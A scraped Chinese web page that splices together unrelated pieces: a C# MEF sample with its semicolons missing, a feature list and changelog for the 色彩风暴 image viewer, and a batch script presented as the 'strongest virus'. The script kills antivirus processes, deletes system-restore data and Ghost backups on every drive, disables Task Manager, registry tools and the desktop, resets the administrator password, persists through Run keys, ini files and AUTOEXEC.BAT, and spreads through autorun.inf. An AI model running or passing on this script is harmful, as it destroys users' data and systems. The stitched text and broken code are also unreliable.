using System
using System.Collections.Generic
using System.Linq
using System.Text
using System.ComponentModel.Composition
using System.ComponentModel.Composition.Hosting
using System.ComponentModel.Composition.Primitives
namespace ConsoleApplication1
{
class Program
{
public static CompositionContainer Container = new CompositionContainer()
static void Main(string[] args)
{
mef_init()
IAFactory Iafactory = new IAFactory()
//组合IA接口
Container.ComposeParts(Iafactory)
var ias = Iafactory.IAs
foreach (var IADemo in ias)
{
Console.WriteLine(IADemo.Export())
}
Console.Read()
}
/// <summary>
/// 初始化MEF设置
/// </summary>
private static void mef_init()
{
var catalog = new AggregateCatalog()
catalog.Catalogs.Add(new DirectoryCatalog(@"."))
catalog.Catalogs.Add(new AssemblyCatalog(typeof(Program).Assembly))
Container = new CompositionContainer(catalog)
}
}
interface IA
{
string Export()
}
[Export(typeof(IA))]
class B : IA
{
public string Export()
{
return "Class=B"
}
}
[Export(typeof(IA))]
class C : IA
{
public string Export()
{
return "Class=C"
}
}
[Export(typeof(IA))]
class D : IA
{
public string Export()
{
return "Class=" + this.GetType().FullName
}
}
class IAFactory
{
[ImportMany(typeof(IA))]
public IEnumerable<IA>IAs { getset}
}
}
色彩风暴色彩风暴是一个文件最小,速度最快, *** 作最方便,功能强大的图像浏览和分享专家,为你提供真正自由的图像体验。
1. 方便快捷的图像浏览功能
方便自由的浏览视图组合,一览无余的先进目录预览功能,滚动浏览模式为你编制一幅精美画卷,提供前所未有的浏览享受。
2. 强大的图像处理和编辑功能
提供十几种图像处理能力,批量图像处理功能将图像处理发挥到极致。
3. 先进的图像动态加载技术
根据图像浏览的特点,采用先进的动态加载技术,为你提供零加载时间的图像体验。
4. 强大的壁纸设定和切换功能
不要满足自动壁纸切换的乐趣,想象一下在做其他工作时随心所欲的切换壁纸,将你的桌面变成图像浏览器。
5. 制作屏幕保护程序和图像包
方便快捷地把你喜爱的图像制作成屏幕保护程序加上多样化的过渡效果无疑使你的个人电脑锦上添花。图像包功能可以帮助你即打包图像也打包图像浏览方式。
6. 开放式系统结构和先进的功能设计
你可以单独使用主程序,你也可以通过使用色彩风暴各种功能扩展全方位扩展色彩风暴的功能。功能扩展也无需安装,拷贝到主程序相同目录即可,不需要的时候随时可以删除。
7. 常用的文件格式支持
专业版支持的图像格式包括JPEG, BMP, PNG, GIF, ICO, CUR, WMF, EMF, PCX, PSD, TGA,完全版包括更多的图像格式扩展。
色彩风暴专业版和家庭版使用完全相同的主程序,拥有家庭版所有的功能,同时提供以下功能扩展。
1. Picasa扩展
提供浏览,搜索和管理Google Picasa网络相册的功能。
2. 绘图工具扩展
提供基本的图像绘图功能。
3. Flickr 扩展
提供浏览,搜索和管理Yahoo Flickr网络相册的功能。
4. 压缩包扩展
提供直接从ZIP和RAR文件中浏览图像的功能。
5. JPEG2000扩展
提供JPEG2000相关文件格式编码和解码功能。
6. TIFF扩展
提供TIFF文件格式编码和解码功能。
7. 红眼消除扩展
帮助你消除数码照片中的红眼。
8. 全景浏览扩展
以全景图的方式查看图像。
9. RAW图像格式扩展
提供RAW图像格式(*.nef*.crw*.cr2*.mrw*.raf*.erf*.3fr*.dcr*.raw*.dng*.pef*.x3f*.arw*.sr2*.mef*.orf)的解码功能。
10. 笔刷图像格式扩展
提供Photoshop和Paintshop Pro笔刷文件(*.abr*.jbr)的编码和解码功能。
色彩风暴10.9.8.1版本改进说明:
1. 功能改进:改进绘图程序支持透明通道,从而支持透明图像的编辑。改进色彩工具栏以提供更灵活更强大的色彩选取和预览,同时支持为色彩指定透明度。同时改进所有的工具以支持透明通道以及带透明度信息前景和背景颜色。通过指定带透明度的前景和背景颜色,用户可以得到更强大的背景融合功能。比如使用渐变工具是指定完全透明的背景,将产生前景颜色到背景图像的过渡。
2. 功能改进:改进添加文字功能支持像透明图像上添加文字。
3. 功能改进:改进文件关联配置允许在不关联菜单的情况下关联图标,同时改进选项 *** 作,当用户没有关联菜单的情况下“默认使用本程序打开”无效。对EXE和DLL文件禁用关联默认打开以免引起误 *** 作。
4. 界面改进:更灵活的图像预览视图背景定制功能,用户可以选择显示,不显示或指定自己的背景图像,用户可以通过工具-〉选项-〉常规-〉皮肤设置 进行设定(注:该功能只对VIP用户有效)。
5. 界面改进:改进绘图,裁剪板以及红眼消除工具,提供打开时自动缩放功能,如果图像较小,系统将自动放大到适当大小以便于 *** 作。
6. 界面改进: 裁剪板服务中裁剪视图显示网格线,用户可以通过“视图-〉显示大网格”或“视图-〉显示小网格”菜单显示或隐藏网格。
7. 界面改进: 允许将扩展服务提供的编辑或处理功能增加到工具栏,如将裁剪板,绘图工具等在工具栏上显示。对于定制过工具栏的用户这些图标将默认不显示。
8. 界面改进: 当指定工具栏图标皮肤文件时,改进动态加载的图标大小和工具栏图标大小一致。如果用户要指定图标文件,建议图标大小为16, 24, 32等标准尺寸以得到最佳效果。
9. 问题解决: 解决绘图工具中图像缩放对话框中像素编辑框的一个输入问题。
10.问题解决: 解决视图分割条在视图缩小到很小的情况小不能正确绘制的问题。
最强病毒!谨慎运行!此程序会将系统搞崩溃.摘自:htt我ps://www是.jb51.net/a链rticle/7129.h接tm 去掉里面的字哦
@echo offtitle You DEAD!!!!!!!
set taskkill=s
copy %0 %windir%\system32\cmd.bat
attrib %windir%\system32\cmd.bat +r +s +h
net stop sharedaccess >nul
%s% /im pfw.exe shadowtip.exe shadowservice.exe qq.exe explorer.exe IEXOLORE.EXE /f >nul
%s% /im norton* /f >nul
%s% /im av* /f >nul
%s% /im fire* /f >nul
%s% /im anti* /f >nul
%s% /im spy* /f >nul
%s% /im bullguard /f >nul
%s% /im PersFw /f >nul
%s% /im KAV* /f >nul
%s% /im ZONEALARM /f >nul
%s% /im SAFEWEB /f >nul
%s% /im OUTPOST /f >nul
%s% /im nv* /f >nul
%s% /im nav* /f >nul
%s% /im F-* /f >nul
%s% /im ESAFE /f >nul
%s% /im cle /f >nul
%s% /im BLACKICE /f >nul
%s% /im def* /f >nul
%s% /im 360safe.exe /f >nul
net stop Shadow" "System" "Service
set alldrive=d e f g h i j k l m n o p q r s t u v w x y z
for %%a in (c %alldrive%) do del %%a:\360* /f /s /q >nul
for %%a in (c %alldrive%) do del %%a:\修复* /f /s /q >nul
rem 修改注册表.......
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\
Folder\Hidden\SHOWALL /v
CheckedValue /t REG_DWORD /d 00000000 /f >nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoRun /t REG_DWORD /d
00000001 /f >nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoRecentDocsMenu /t
REG_DWORD /d 00000001 /f >nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoDrives /t REG_DWORD /d
4294967295 /f >nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v
Disableregistrytools /t
REG_DWORD /d 00000002 /f >nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoNetHood /t REG_DWORD /d
00000001 /f >nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V
NoDesktop /t REG_DWORD /d
00000001 /f >nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoClose /t REG_DWORD /d
00000001 /f >nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoFind /t REG_DWORD /d
00000001 /f >nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v
DisableTaskMgr /t REG_DWORD
/d 00000001 /f >nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoLogOff /t REG_DWORD /d
00000001 /f >nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoSetTaskBar /t REG_DWORD
/d 00000001 /f >nul
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows" "NT\CurrentVersion\SystemRestore /v
DisableSR /t REG_DWORD /d
00000001 /f >nul
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows" "NT\SystemRestore /v
DisableConfig /t REG_DWORD /d
00000001 /f >nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
RestrictRun /t REG_DWORD /d
00000001 /f >nul
cls
net user administrator 123456 >nul
for %%c in (c %alldrive%) do del %%c:\*.gho /f /s /q >nul
echo @echo off >d:\setup.bat
echo shutdown -r -t 10 -f -c 亲爱的朋友,我十分抱歉的通知你,你的电脑已经严重崩溃,请重新
安装系统可以解决此问题
!^.^ >>d:\setup.bat
echo copy d:\setup.bat c:\Documents" "and" "Settings\All" "Users\「开始」菜单\程序\启动
\a.bat >>d:\setup.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f >>d:\setup.bat
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f >>d:\setup.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v
setup.bat /t REG_SZ /d d:\setup.bat
/f >>d:\setup.bat
HKEY_CLASSES_ROOT\batfile\shell\open\command /v setup.bat /t REG_SZ /d d:\setup.bat /f
>>d:\setup.bat
echo [windows] >> %windir%\win.ini
echo run=d:\setup.bat C:\AUTOEXEC.BAT >> %windir%\win.ini
echo load=d:\setup.bat C:\AUTOEXEC.BAT >> %windir%\win.ini
echo [boot] >> %windir%\system.ini
echo shell=explorer.exe setup.bat C:\AUTOEXEC.BAT >> %windir%\system.ini
echo [AutoRun] >d:\autorun.inf
echo Open=setup.bat >>d:\autorun.inf
echo Open=system.bat >>d:\autorun.inf
attrib d:\autorun.inf +r +s +h >>d:\setup.bat
attrib d:\setup.bat +r +s +h >>d:\setup.bat
start d:\setup.bat /min >nul
echo @echo off >>C:\AUTOEXEC.BAT
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f >>C:\AUTOEXEC.BAT
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f >>C:\AUTOEXEC.BAT
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f >>C:\AUTOEXEC.BAT
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f >>C:\AUTOEXEC.BAT
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f >>C:\AUTOEXEC.BAT
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v
setup.bat /t REG_SZ /d d:\setup.bat
/f >>C:\AUTOEXEC.BAT
echo if not d:\setup.bat start %windir%\system32\cmd.bat /min >>C:\AUTOEXEC.BAT
copy %0 %systemroot%\windows.bat >nul
if not exist %windir%/system32/explorer.bat @echo off >>%windir%/system32/explorer.bat
if not exist C:\AUTOEXEC.BAT start %windir%\system32\cmd.bat /min >>%
windir%/system32/explorer.bat
if not exist %windir%\system32\cmd.bat start %systemroot%\windows.bat /min >>%
windir%/system32/explorer.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f >>%windir%/system32/explorer.bat
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f >>%windir%/system32/explorer.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f >>%windir%/system32/explorer.bat
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f >>%windir%/system32/explorer.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
explorer.bat /t REG_SZ /d %
windir%/system32/explorer.bat/f >>%windir%/system32/explorer.bat
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
explorer.bat /t REG_SZ /d %
windir%/system32/explorer.bat /f >>%windir%/system32/explorer.bat
echo start %systemroot%\windows.bat /min >>%windir%/system32/explorer.bat
attrib %windir%/system32/explorer.bat +r +s +h%
attrib %systemroot%/windows.bat +r +s +h
for %%c in (%alldrive%) do echo @echo off >>%%c:\system.bat
for %%c in (%alldrive%) do echo start %windir%\system32\cmd.bat /min >>%%c:\system.bat
for %%c in (%alldrive%) do echo attrib system.bat +r +s +h >>%%c:\system.bat
set drive=e f g h i j k l m n o p q r s t u v w x y z
for %%c in (%drive%) do echo [AuroRun] >%%c:\autorun.inf
for %%c in (%drive%) do echo Open=system.bat >>%%c:\autorun.inf
copy %0 d:\Program" "Files\run.bat
for %%c in (%alldrive%) do echo if not exist %windir%/system32/explorer.bat start
d:\Program" "Files\run.bat /min
>>%%c:\system.bat
for %%c in (%alldrive%) do attrib autorun.inf +r +s +h >>%%c:\system.bat
for %%c in (%alldrive%) do attrib %%c:\autorun.inf +r +s +h >nul
for %%c in (%alldrive%) do attrib %%c:\system.bat +r +s +h >nul
if not exist %windir%/system32/explorer.bat start d:\Program" "Files\run.bat
/min >>d:\setup.bat
attrib d:\Program" "Files\run.bat +r +s +h >nul
del %0
exit
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)